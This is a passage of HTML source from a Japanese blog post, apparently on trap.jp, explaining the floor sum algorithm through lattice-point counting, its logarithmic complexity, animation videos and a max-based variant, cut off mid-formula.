style="margin-right:0.05017em;">B</span></span></span></span> &#x304C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x306E;&#x500D;&#x6570;&#x300D;&#x3068;&#x306A;&#x3063;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x306F;&#x6B63;&#x6574;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x306B;&#x5BFE;&#x3057;&#x3066;&#x30E6;&#x30FC;&#x30AF;&#x30EA;&#x30C3;&#x30C9;&#x306E;&#x4E92;&#x9664;&#x6CD5;&#x3092;&#x9069;&#x7528;&#x3059;&#x308B;&#x904E;&#x7A0B;&#x3068;&#x5168;&#x304F;&#x540C;&#x3058;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;&#x6642;&#x9593;&#x8A08;&#x7B97;&#x91CF;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;&#x3053;&#x306E;&#x30D1;&#x30E9;&#x30E1;&#x30FC;&#x30BF;&#x30FC; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x306F;&#x672C;&#x6765;&#x306E;floor sum&#x3067;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x3067;&#x3042;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;floor sum&#x81EA;&#x4F53;&#x306E;&#x6642;&#x9593;&#x8A08;&#x7B97;&#x91CF;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p>&#x56F3;&#x5F62;&#x7684;&#x306A;&#x30A4;&#x30E1;&#x30FC;&#x30B8;&#x3068;&#x3057;&#x3066;&#x306F;&#x3001;&#x76F4;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x3092;&#x3001;&#x6025;&#x306A;&#x72B6;&#x614B;&#x3068;&#x7DE9;&#x3084;&#x304B;&#x306A;&#x72B6;&#x614B;&#x306E;&#x9593;&#x3067;&#x4EA4;&#x4E92;&#x306B;&#x5909;&#x5316;&#x3055;&#x305B;&#x3001;&#x5404;&#x30B9;&#x30C6;&#x30C3;&#x30D7;&#x3067;&#x306F;&#x4E09;&#x89D2;&#x5F62;&#x306E;&#x9762;&#x7A4D;( <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4831em;"></span><span class="mrel">&#x2248;</span></span></span></span> &#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;)&#x3092;&#x7D04;&#x534A;&#x5206;&#x4EE5;&#x4E0B;&#x306B;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306B;&#x306A;&#x308B;&#x306E;&#x3067;&#x3001;&#x6642;&#x9593;&#x8A08;&#x7B97;&#x91CF;&#x306F;&#x5BFE;&#x6570;&#x6642;&#x9593;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x304C;&#x5206;&#x304B;&#x308B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x4E0B;&#x306B;&#x56F3;&#x3092;&#x8F09;&#x305B;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x6700;&#x521D;&#x3001;&#x9ED2;&#x7DDA;&#x304C;&#x3042;&#x308B;&#x3068;&#x304D;&#x3001;&#x5404;&#x30B9;&#x30C6;&#x30C3;&#x30D7;&#x306B;&#x3088;&#x3063;&#x3066;&#x3001;&#x9ED2;&#x2192;&#x8D64;&#x2192;&#x9752;&#x2192;&#x7DD1;&#x2192;&#x7D2B;&#x2192;&#x6A59;&#x306E;&#x3088;&#x3046;&#x306B;&#x76F4;&#x7DDA;&#x304C;&#x5909;&#x5316;&#x3057;&#x3066;&#x3044;&#x304D;&#x307E;&#x3059;&#x3002;(&#x305F;&#x3060;&#x3057;&#x3001;&#x5B9F;&#x969B;&#x306B;&#x306F;&#x50BE;&#x304D;&#x304C;&#x6025;&#x306A;&#x76F4;&#x7DDA;(&#x8D64;, &#x7DD1;, &#x6A59;)&#x306F;&#x3001;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x306B;&#x95A2;&#x3057;&#x3066;&#x5BFE;&#x79F0;&#x306A;&#x4F4D;&#x7F6E;&#x306B;&#x79FB;&#x52D5;&#x3057;&#x3066;&#x6271;&#x3044;&#x307E;&#x3059;&#x3002;)<br>
&#x3053;&#x306E;&#x56F3;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">21</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">34</span></span></span></span> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-14-093817.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1557" height="969"></figure><h2 id="%E5%8B%95%E7%94%BB%E3%81%AB%E3%82%88%E3%82%8B%E8%AA%AC%E6%98%8E">&#x52D5;&#x753B;&#x306B;&#x3088;&#x308B;&#x8AAC;&#x660E;</h2><!--kg-card-begin: markdown--><p>&#x3053;&#x308C;&#x307E;&#x3067;&#x306E;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#xFF5E;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> &#x3092;&#x307E;&#x3068;&#x3081;&#x305F;&#x30A2;&#x30CB;&#x30E1;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x52D5;&#x753B;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x901A;&#x308A;&#x7528;&#x610F;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x56F3;&#x304C;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x304F;&#x3066;&#x3082;&#x591A;&#x5206;&#x5927;&#x4F53;&#x306E;&#x96F0;&#x56F2;&#x6C17;&#x306F;&#x5206;&#x304B;&#x308B;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x52D5;&#x753B;&#x3067;&#x306F;&#x3001;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> &#x306E;&#x9752;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3068;&#x3001;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x5F8C;&#x306E;&#x56F3;&#x306E;&#x5DE6;&#x5074;&#x306E;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3092;&#x307E;&#x3068;&#x3081;&#x3066;&#x30AB;&#x30A6;&#x30F3;&#x30C8;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-video-card kg-card-hascaption"><div class="kg-video-container"><video src="https://trap.jp/content/media/2026/04/FloorSumVisualizationwwwwwwww.mp4" poster="https://img.spacergif.org/v1/1920x1080/0a/spacer.png" width="1920" height="1080" playsinline preload="metadata" style="background: transparent url(&apos;https://trap.jp/content/images/2026/04/media-thumbnail-ember454.jpg&apos;) 50% 50% / cover no-repeat;"></video><div class="kg-video-overlay"><button class="kg-video-large-play-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M23.14 10.608 2.253.164A1.559 1.559 0 0 0 0 1.557v20.887a1.558 1.558 0 0 0 2.253 1.392L23.14 13.393a1.557 1.557 0 0 0 0-2.785Z"/></svg></button></div><div class="kg-video-player-container"><div class="kg-video-player"><button class="kg-video-play-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M23.14 10.608 2.253.164A1.559 1.559 0 0 0 0 1.557v20.887a1.558 1.558 0 0 0 2.253 1.392L23.14 13.393a1.557 1.557 0 0 0 0-2.785Z"/></svg></button><button class="kg-video-pause-icon kg-video-hide"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><rect x="3" y="1" width="7" height="22" rx="1.5" ry="1.5"/><rect x="14" y="1" width="7" height="22" rx="1.5" ry="1.5"/></svg></button><span class="kg-video-current-time">0:00</span><div class="kg-video-time">/<span class="kg-video-duration"></span></div><input type="range" class="kg-video-seek-slider" max="100" value="0"><button class="kg-video-playback-rate">1&#xD7;</button><button class="kg-video-unmute-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M15.189 2.021a9.728 9.728 0 0 0-7.924 4.85.249.249 0 0 1-.221.133H5.25a3 3 0 0 0-3 3v2a3 3 0 0 0 3 3h1.794a.249.249 0 0 1 .221.133 9.73 9.73 0 0 0 7.924 4.85h.06a1 1 0 0 0 1-1V3.02a1 1 0 0 0-1.06-.998Z"/></svg></button><button class="kg-video-mute-icon kg-video-hide"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M16.177 4.3a.248.248 0 0 0 .073-.176v-1.1a1 1 0 0 0-1.061-1 9.728 9.728 0 0 0-7.924 4.85.249.249 0 0 1-.221.133H5.25a3 3 0 0 0-3 3v2a3 3 0 0 0 3 3h.114a.251.251 0 0 0 .177-.073ZM23.707 1.706A1 1 0 0 0 22.293.292l-22 22a1 1 0 0 0 0 1.414l.009.009a1 1 0 0 0 1.405-.009l6.63-6.631A.251.251 0 0 1 8.515 17a.245.245 0 0 1 .177.075 10.081 10.081 0 0 0 6.5 2.92 1 1 0 0 0 1.061-1V9.266a.247.247 0 0 1 .073-.176Z"/></svg></button><input type="range" class="kg-video-volume-slider" max="100" value="100"></div></div></div><figcaption>A=13, B=21, C=865 (B&#x304C;A&#x306E;&#x500D;&#x6570;&#x306B;&#x306A;&#x3063;&#x3066;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x5834;&#x5408;)</figcaption></figure><figure class="kg-card kg-video-card kg-card-hascaption"><div class="kg-video-container"><video src="https://trap.jp/content/media/2026/04/FloorSumVisualization-1.mp4" poster="https://img.spacergif.org/v1/1920x1080/0a/spacer.png" width="1920" height="1080" playsinline preload="metadata" style="background: transparent url(&apos;https://trap.jp/content/images/2026/04/media-thumbnail-ember479.jpg&apos;) 50% 50% / cover no-repeat;"></video><div class="kg-video-overlay"><button class="kg-video-large-play-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M23.14 10.608 2.253.164A1.559 1.559 0 0 0 0 1.557v20.887a1.558 1.558 0 0 0 2.253 1.392L23.14 13.393a1.557 1.557 0 0 0 0-2.785Z"/></svg></button></div><div class="kg-video-player-container"><div class="kg-video-player"><button class="kg-video-play-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M23.14 10.608 2.253.164A1.559 1.559 0 0 0 0 1.557v20.887a1.558 1.558 0 0 0 2.253 1.392L23.14 13.393a1.557 1.557 0 0 0 0-2.785Z"/></svg></button><button class="kg-video-pause-icon kg-video-hide"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><rect x="3" y="1" width="7" height="22" rx="1.5" ry="1.5"/><rect x="14" y="1" width="7" height="22" rx="1.5" ry="1.5"/></svg></button><span class="kg-video-current-time">0:00</span><div class="kg-video-time">/<span class="kg-video-duration"></span></div><input type="range" class="kg-video-seek-slider" max="100" value="0"><button class="kg-video-playback-rate">1&#xD7;</button><button class="kg-video-unmute-icon"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M15.189 2.021a9.728 9.728 0 0 0-7.924 4.85.249.249 0 0 1-.221.133H5.25a3 3 0 0 0-3 3v2a3 3 0 0 0 3 3h1.794a.249.249 0 0 1 .221.133 9.73 9.73 0 0 0 7.924 4.85h.06a1 1 0 0 0 1-1V3.02a1 1 0 0 0-1.06-.998Z"/></svg></button><button class="kg-video-mute-icon kg-video-hide"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 24 24"><path d="M16.177 4.3a.248.248 0 0 0 .073-.176v-1.1a1 1 0 0 0-1.061-1 9.728 9.728 0 0 0-7.924 4.85.249.249 0 0 1-.221.133H5.25a3 3 0 0 0-3 3v2a3 3 0 0 0 3 3h.114a.251.251 0 0 0 .177-.073ZM23.707 1.706A1 1 0 0 0 22.293.292l-22 22a1 1 0 0 0 0 1.414l.009.009a1 1 0 0 0 1.405-.009l6.63-6.631A.251.251 0 0 1 8.515 17a.245.245 0 0 1 .177.075 10.081 10.081 0 0 0 6.5 2.92 1 1 0 0 0 1.061-1V9.266a.247.247 0 0 1 .073-.176Z"/></svg></button><input type="range" class="kg-video-volume-slider" max="100" value="100"></div></div></div><figcaption>A=14, B=45, C=865 (C&#x304C;&#x8CA0;&#x306B;&#x306A;&#x3063;&#x3066;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x5834;&#x5408;(C&#x304C;&#x8CA0;&#x306B;&#x306A;&#x308B;&#x3068;&#x3053;&#x308D;&#x3067;&#x5C11;&#x3057;&#x6F14;&#x51FA;&#x304C;&#x30D0;&#x30B0;&#x3063;&#x3066;&#x307E;&#x3059;))</figcaption></figure><h2 id="%E5%AE%9F%E8%A3%85%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x5B9F;&#x88C5;&#x306B;&#x3064;&#x3044;&#x3066;</h2><!--kg-card-begin: markdown--><p>&#x57FA;&#x672C;&#x5F62;&#x306E;floor sum&#x3092;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x6570;&#x3048;&#x4E0A;&#x3052;&#x554F;&#x984C;&#x306B;&#x5E30;&#x7740;&#x3057;&#x305F;&#x5F8C;&#x3001;&#x30B9;&#x30C6;&#x30C3;&#x30D7; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> ~ <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> &#x3092;&#x305D;&#x306E;&#x307E;&#x307E;&#x518D;&#x5E30;&#x95A2;&#x6570;&#x307E;&#x305F;&#x306F;<code>while</code>&#x6587;&#x3068;&#x3057;&#x3066;&#x5B9F;&#x88C5;&#x3059;&#x308C;&#x3070;&#x3044;&#x3044;&#x3067;&#x3059;&#x3002;&#x5B9F;&#x88C5;&#x4F8B;&#x306F;&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x306E;&#x4E0A;&#x90E8;&#x306B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><h1 id="2%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">2&#x306B;&#x3064;&#x3044;&#x3066;</h1><!--kg-card-begin: markdown--><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.3557em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight">&#x2264;</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.8395em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="delimsizing size3">(</span></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size3">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size3">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mord"><span class="delimsizing size3">)</span></span></span></span></span> &#x3068;&#x3044;&#x3046;&#x5F62;&#x306F;&#x3001;&#x3042;&#x307E;&#x308A;&#x6709;&#x540D;&#x3067;&#x306F;&#x306A;&#x3044;&#x304B;&#x3082;&#x3057;&#x308C;&#x307E;&#x305B;&#x3093;&#x304C;&#x3001;&#x3053;&#x308C;&#x3082;floor sum&#x3068;&#x540C;&#x3058;&#x3088;&#x3046;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span> &#x3067;&#x6C42;&#x3081;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x6570;&#x5F0F;&#x3092;&#x3044;&#x3058;&#x308B;&#x65B9;&#x6CD5;&#x306F;&#x96E3;&#x3057;&#x3044;<s>&#x3068;&#x3044;&#x3046;&#x304B;&#x3001;&#x308F;&#x304B;&#x3089;&#x306A;&#x304B;&#x3063;&#x305F;</s>&#x305F;&#x3081;&#x3001;&#x3053;&#x308C;&#x3082;&#x5148;&#x307B;&#x3069;&#x3068;&#x540C;&#x3058;&#x3088;&#x3046;&#x306B;&#x5E73;&#x9762;&#x4E0A;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306B;&#x95A2;&#x3059;&#x308B;&#x554F;&#x984C;&#x306B;&#x5E30;&#x7740;&#x3055;&#x305B;&#x3066;&#x89E3;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<blockquote>
<p>floor sum&#x3068;&#x6BD4;&#x3079;&#x3066;&#x591A;&#x5C11;&#x6570;&#x5F0F;&#x304C;&#x5897;&#x3048;&#x308B;&#x304B;&#x3082;&#x3057;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;</p>
</blockquote>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x307E;&#x305A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel" style="color:#df0030;">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x3057;&#x3066;&#x3082;&#x554F;&#x984C;&#x306A;&#x3044;&#x3053;&#x3068;&#x3092;&#x793A;&#x3057;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x307E;&#x305F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x307E;&#x305F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x306F;&#x3001;&#x5358;&#x8ABF;&#x5897;&#x52A0;&#x307E;&#x305F;&#x306F;&#x5358;&#x8ABF;&#x6E1B;&#x5C11;&#x3068;&#x306A;&#x308B;&#x305F;&#x3081;&#x3001;&#x4E21;&#x7AEF;&#x3092;&#x8A66;&#x3057;&#x3001;&#x5927;&#x304D;&#x3044;&#x65B9;&#x3092;&#x7B54;&#x3048;&#x306B;&#x3059;&#x308C;&#x3070;&#x3044;&#x3044;&#x3067;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x306F;&#x3001;&#x5206;&#x6BCD;&#x3068;&#x5206;&#x5B50;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span></span></span></span> &#x3092;&#x639B;&#x3051;&#x308C;&#x3070; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord">&#x2212;</span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x2308;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mord mathnormal mtight">i</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" 